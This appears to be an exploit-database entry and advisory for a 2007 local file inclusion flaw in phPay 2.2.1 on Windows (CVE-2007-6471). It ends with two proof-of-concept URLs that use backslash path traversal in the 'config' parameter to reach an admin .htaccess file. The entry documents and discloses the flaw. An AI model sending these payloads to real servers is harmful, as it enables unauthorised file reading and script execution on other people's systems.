phPay 2.2.1 - Windows Installations Local File Inclusion

Author: Michael Brooks
type: webapps
platform: php
port: 
date_added: 2007-12-15 
date_updated: 2014-01-13 
verified: 1 
codes: CVE-2007-6471;OSVDB-40271 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/26881/info

phPay is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. The vulnerability resides in code that was intended to protect against file-include attacks. It was found that the protection routines may be bypassed on Windows installations.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\\..\\admin\\.htaccess

The following example was provided in cases where the PHP 'magic_quotes_gpc' directive is enabled:

http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\..\admin\.htaccess